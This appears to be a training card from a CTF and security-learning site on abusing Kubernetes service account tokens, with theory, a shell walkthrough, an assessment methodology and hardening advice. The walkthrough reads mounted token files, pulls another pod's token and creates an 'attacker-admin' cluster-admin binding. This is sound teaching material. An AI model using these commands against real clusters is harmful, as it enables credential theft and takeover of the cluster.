Browse CTFs New CTF Sign in

Kubernetes Service Account Abuse: Token-Based API Access and Lateral Movement Within Cluster

binary_exploitation Difficulty 1–5 30 min certifiable

Theory

Why This Matters

In 2019, a red team engagement at a financial services company discovered that a CI/CD pipeline pod in a Kubernetes cluster had its default service account token auto-mounted and the service account had cluster-admin permissions — a configuration the platform team had set up "temporarily" 18 months earlier to avoid debugging permission issues. The red team obtained a shell in the pod through a command injection vulnerability in a build script, read the mounted service account token, and used it to create a new cluster-admin user, establish persistence via a DaemonSet, and exfiltrate all secrets in the cluster. The total access time was under 10 minutes. The 2022 CNCF Cloud Native Security Whitepaper identifies service account token misuse as one of the three most prevalent Kubernetes attack patterns, appearing in the majority of real-world Kubernetes incident reports.

Core Concept

A Kubernetes Service Account is a namespaced identity used by pods to authenticate to the Kubernetes API server. Each Service Account has an associated JWT (JSON Web Token) that is automatically generated and stored as a Kubernetes Secret. By default, this token is auto-mounted into every pod at /var/run/secrets/kubernetes.io/serviceaccount/token unless the Service Account or Pod spec sets automountServiceAccountToken: false.

The JWT contains three claims that identify the token: iss (the Kubernetes API server URL), sub (the subject, formatted as system:serviceaccount:<namespace>:<serviceaccount-name>), and exp (expiration, absent in legacy tokens, present in projected tokens). The token can be decoded without any key using standard base64 URL decoding of the middle section (echo "HEADER.PAYLOAD.SIGNATURE" | cut -d. -f2 | base64 -d).

Legacy tokens (Kubernetes < 1.21) are non-expiring JWTs signed with the cluster's service account signing key and stored as long-lived Kubernetes Secrets. Projected tokens (Kubernetes >= 1.21, enabled by default) are short-lived tokens with an expirationSeconds parameter (default 3607 seconds), audience-bound, and automatically rotated by the Kubelet. Projected tokens are harder to exploit from outside the cluster because they expire quickly.

High-privilege service accounts are the escalation target. CI/CD service accounts (ci, jenkins, gitlab-runner), monitoring agents (prometheus, datadog-agent), and infrastructure operators (cert-manager, external-dns) frequently have permissions far exceeding their documented requirements. These service accounts are created by Helm charts and Kubernetes operators that request broad RBAC permissions as defaults.

IRSA (IAM Roles for Service Accounts) on EKS and Workload Identity on GKE replace static service account tokens with cloud-provider-managed credential federation, eliminating long-lived key material from the cluster. The pod receives a projected token with a cloud-provider audience that can be exchanged for temporary cloud API credentials via the OIDC token exchange protocol.

Technical Deep-Dive

# ── Inside a compromised pod: token discovery ─────────────────
# Auto-mounted token location
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# token    ca.crt    namespace

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# ── Decode the JWT to inspect claims ──────────────────────────
# Split on dots, decode the middle section (payload)
echo $TOKEN | cut -d. -f2 | 
  python3 -c "
import sys, base64, json
payload = sys.stdin.read().strip()
# Add padding
payload += '=' * (4 - len(payload) % 4)
decoded = base64.urlsafe_b64decode(payload)
print(json.dumps(json.loads(decoded), indent=2))
"
# Look for: sub (namespace/serviceaccount), exp (expiry), aud

# ── Enumerate API server access with the token ────────────────
# Check what the service account can do
curl -s --cacert $CACERT 
  -H "Authorization: Bearer $TOKEN" 
  "${APISERVER}/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" 
  -X POST -H "Content-Type: application/json" 
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"kube-system"}}' | 
  python3 -m json.tool

# List pods in kube-system (reveals privileged pods and CI runners)
curl -s --cacert $CACERT 
  -H "Authorization: Bearer $TOKEN" 
  "${APISERVER}/api/v1/namespaces/kube-system/pods" | 
  python3 -c "import json,sys; [print(p['metadata']['name']) for p in json.load(sys.stdin)['items']]"

# ── Find privileged service accounts ─────────────────────────
# From outside: enumerate which SAs have high-privilege bindings
kubectl get clusterrolebindings -o json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for b in data['items']:
  role = b['roleRef']['name']
  if role in ('cluster-admin', 'edit', 'admin'):
    for s in b.get('subjects', []):
      if s.get('kind') == 'ServiceAccount':
        print(f'[{role}] {s["namespace"]}/{s["name"]}')
"

# ── Use privileged SA token for escalation ────────────────────
# If a pod is running as a high-privilege SA, exec into it
kubectl exec -it ci-runner-pod-xyz -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Use that token to create a new cluster-admin binding
PRIV_TOKEN="<extracted-ci-runner-token>"
curl -s --cacert $CACERT 
  -H "Authorization: Bearer $PRIV_TOKEN" 
  -H "Content-Type: application/json" 
  "${APISERVER}/apis/rbac.authorization.k8s.io/v1/clusterrolebindings" 
  -X POST 
  -d '{"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding",
       "metadata":{"name":"attacker-admin"},
       "roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"cluster-admin"},
       "subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'

# ── Check token expiry (projected token) ─────────────────────
# Projected tokens auto-rotate; check the exp claim
EXPIRY=$(echo $TOKEN | cut -d. -f2 | python3 -c "
import sys,base64,json
p=sys.stdin.read().strip()+'=='
print(json.loads(base64.urlsafe_b64decode(p)).get('exp','no-expiry'))
")
echo "Token expires: $(date -d @$EXPIRY 2>/dev/null || date -r $EXPIRY)"

Security Assessment Methodology

  1. Identify pods with auto-mounted service account tokenskubectl get pods --all-namespaces -o json | jq '.items[] | select((.spec.automountServiceAccountToken // true) == true) | {name: .metadata.name, ns: .metadata.namespace, sa: .spec.serviceAccountName}'. This identifies all pods that have a usable token.
  2. Map service account permissions — for each service account found in step 1, run kubectl auth can-i --list --as=system:serviceaccount:<ns>:<sa> to enumerate its permissions. Flag any SA with secrets:get, pods/exec, pods:create, or clusterrolebindings:create.
  3. Obtain a shell in a high-privilege pod — exploit any available vulnerability (RCE, command injection, container escape) in pods running as privileged service accounts. Or use kubectl exec if pods/exec is granted to the current identity.
  4. Read and decode the mounted token — at /var/run/secrets/kubernetes.io/serviceaccount/token. Decode the JWT payload to confirm the subject and expiry. For legacy tokens (no exp), the token is indefinitely valid.
  5. Enumerate API server access using the token via curl or by exporting the token in a kubeconfig. Use SelfSubjectRulesReview to systematically enumerate all allowed operations.
  6. Escalate privileges — use the token's permissions to create a ClusterRoleBinding granting cluster-admin to a controlled identity, create privileged pods, or read additional service account tokens with broader permissions.
  7. Test for IRSA/Workload Identity misconfiguration — if cloud-provider identity federation is used, verify that the OIDC trust policy conditions are scoped to the specific service account and namespace, not wildcarded.

Defensive Countermeasure — Set automountServiceAccountToken: false on all ServiceAccount objects as a cluster-wide default and explicitly opt in only where needed: kubectl patch serviceaccount default -p '{"automountServiceAccountToken": false}' in each namespace. For pods that legitimately need API access, use projected tokens with short expirationSeconds (e.g., 600) and audience binding: volumes: [{name: token, projected: {sources: [{serviceAccountToken: {audience: "api", expirationSeconds: 600}}]}}]. Apply a Kubernetes admission webhook (OPA Gatekeeper or Kyverno policy) that rejects pods requesting auto-mounted tokens in namespaces where API access is not required.

Common Assessment Errors

  • Assuming projected token expiry prevents exploitation — projected tokens with expirationSeconds: 3607 are rotated but the active token is always readable at the mount path. An attacker with a persistent shell can read the current valid token at any time.
  • Not checking all namespace service accounts — focusing only on default and kube-system misses application-namespace service accounts used by CI/CD pipelines, monitoring agents, and operators that frequently have broad permissions.
  • Missing legacy long-lived token secrets — even in clusters using projected tokens, some service accounts may have legacy kubernetes.io/service-account-token Secret objects still present. Enumerate these with kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/service-account-token.
  • Treating IRSA as eliminating all risk — IRSA eliminates long-lived AWS keys but the Kubernetes service account token used for OIDC exchange is still mounted in the pod. A token with a wildcard audience claim can be used against other OIDC-enabled services.
  • Not testing SelfSubjectRulesReview — many assessors only test specific known-dangerous permissions. The SelfSubjectRulesReview API returns all permissions for the current identity, including obscure resource types that may enable novel escalation paths.
  • Forgetting the system:masters group binding — a service account token that includes system:masters in its groups claim bypasses RBAC entirely. This group is rarely used intentionally but can appear in misconfigured cluster bootstrapping configurations.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0053 Knowledge of cloud infrastructure vulnerabilities and attack surfaces Explains Kubernetes service account token mechanics, JWT structure, legacy vs projected token differences, and IRSA/Workload Identity federation
K0167 Knowledge of systems security testing methodologies Develops a seven-step service account abuse methodology from auto-mount enumeration through privilege escalation and IRSA misconfiguration testing
S0073 Skill in using penetration testing tools and techniques against cloud infrastructure Trains JWT decoding, in-pod curl-based API access, SelfSubjectRulesReview enumeration, and ClusterRoleBinding creation via raw API calls
T0144 Task: Conduct penetration testing on cloud-hosted systems Directly exercises the full token-to-cluster-admin escalation chain including token extraction, permission enumeration, and RBAC binding creation
T0395 Task: Recommend security controls for cloud environments Develops automountServiceAccountToken hardening, projected token configuration, and Kyverno/OPA admission webhook policy design

Further Reading

  • "Kubernetes Service Account Security: Token Mechanics and Attack Paths" — CNCF Security Technical Advisory Group
  • "Projected Service Account Tokens" — Kubernetes Official Documentation (KEP-1205)
  • "Workload Identity Federation for GKE and EKS" — Google Cloud and AWS Documentation

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.